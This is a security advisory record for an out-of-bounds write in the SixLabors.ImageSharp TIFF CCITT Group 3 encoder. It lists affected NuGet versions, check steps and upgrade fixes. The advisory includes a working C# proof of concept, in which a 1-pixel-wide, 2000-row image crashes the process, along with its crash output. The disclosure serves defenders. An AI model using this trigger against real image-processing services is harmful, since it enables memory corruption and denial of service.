---
id: "CVE-2026-106110"
kind: "vulnerability"
aliases: ["CVE-2026-106110", "GHSA-j9gm-c75j-xc9q"]
title: "ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer"
severity: "high"
cvss: 7.5
epss: 0.00385
exploited: false
status: "open"
category: "package"
products: [{"name": "SixLabors.ImageSharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "nuget"}, {"name": "SixLabors.ImageSharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "nuget"}, {"name": "sixlabors imagesharp", "fixed": ["3.2.0"], "affected": ">= 2.0.0, < 3.2.0", "ecosystem": "vendor"}, {"name": "sixlabors imagesharp", "fixed": ["4.1.2"], "affected": ">= 4.0.0, < 4.1.2", "ecosystem": "vendor"}]
ecosystems: ["nuget", "vendor"]
tags: ["cwe-787", "dotnet", "image-processing", "nuget", "package", "server-side-rendering"]
not_affected_if: ["default-config", "no-ccitt-g3-encoding", "trusted-input-only"]
published_at: "2026-10-06T18:16:52+00:00"
first_seen_at: "2026-10-26T14:26:34+00:00"
updated_at: "2026-10-26T14:30:37+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-j9gm-c75j-xc9q", "first_seen_at": "2026-10-26T14:26:34+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106110", "first_seen_at": "2026-10-26T14:30:37+00:00"}]
---

# ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer

The TIFF CCITT Group 3 (T4) encoder in SixLabors.ImageSharp allocates too small an output buffer for narrow 1-bit images, so unchecked bit writes go past its end. An attacker who controls the image being encoded can corrupt process memory and crash the process.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- nuget:SixLabors.ImageSharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- nuget:SixLabors.ImageSharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2
- vendor:sixlabors imagesharp affected >= 2.0.0, < 3.2.0 fixed 3.2.0
- vendor:sixlabors imagesharp affected >= 4.0.0, < 4.1.2 fixed 4.1.2

## How to check

- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the range `4.0.0` to `4.1.1`
- Search the code for `TiffCompression.CcittGroup3Fax` or `TiffEncoder` usage, including re-encoding of decoded TIFFs with the default `TiffEncoder`

## Fix

- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line
- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line
- Until upgraded, avoid encoding with `TiffCompression.CcittGroup3Fax` on attacker-controlled images

## Timeline

- 2026-10-26T14:26:34+00:00 ghsa https://github.com/advisories/GHSA-j9gm-c75j-xc9q
- 2026-10-26T14:30:37+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-106110

## From the sources

### Summary

ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.

This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.

### Affected package and versions

- Package: `SixLabors.ImageSharp` (NuGet)
- Affected range: `>= 2.0.0, <= 4.1.1`
- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.

The T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.
### Preconditions and impact

The affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.

`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.

A 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.

### Tested environment

- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**
- Target framework: `net8.0`
- Runtime: .NET 8.0.30; SDK 8.0.424
- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker

No active exploitation is known.

### Reproduction

In a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.

```csharp
using System;
using System.IO;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
using SixLabors.ImageSharp.PixelFormats;

string mode = args.Length > 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;

Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image<L8>(width, height);
for (int y = 0; y < image.Height; y++)
    for (int x = 0; x < image.Width; x++)
        image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));

var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;

using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
```

Against the published 4.1.1 package, this produced:

```text
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
  at ...TiffCcittCompressor.GetWhiteTermCode(...)
  at ...T4BitCompressor.CompressStrip(...)
```

A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:

```text
mode=control width=64 height=2000
Encoded OK: 76230 bytes
```

The direct public configuration path also triggers with:

```csharp
new TiffEncoder
{
    BitsPerPixel = TiffBitsPerPixel.Bit1,
    Compression = TiffCompression.CcittGroup3Fax
};
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
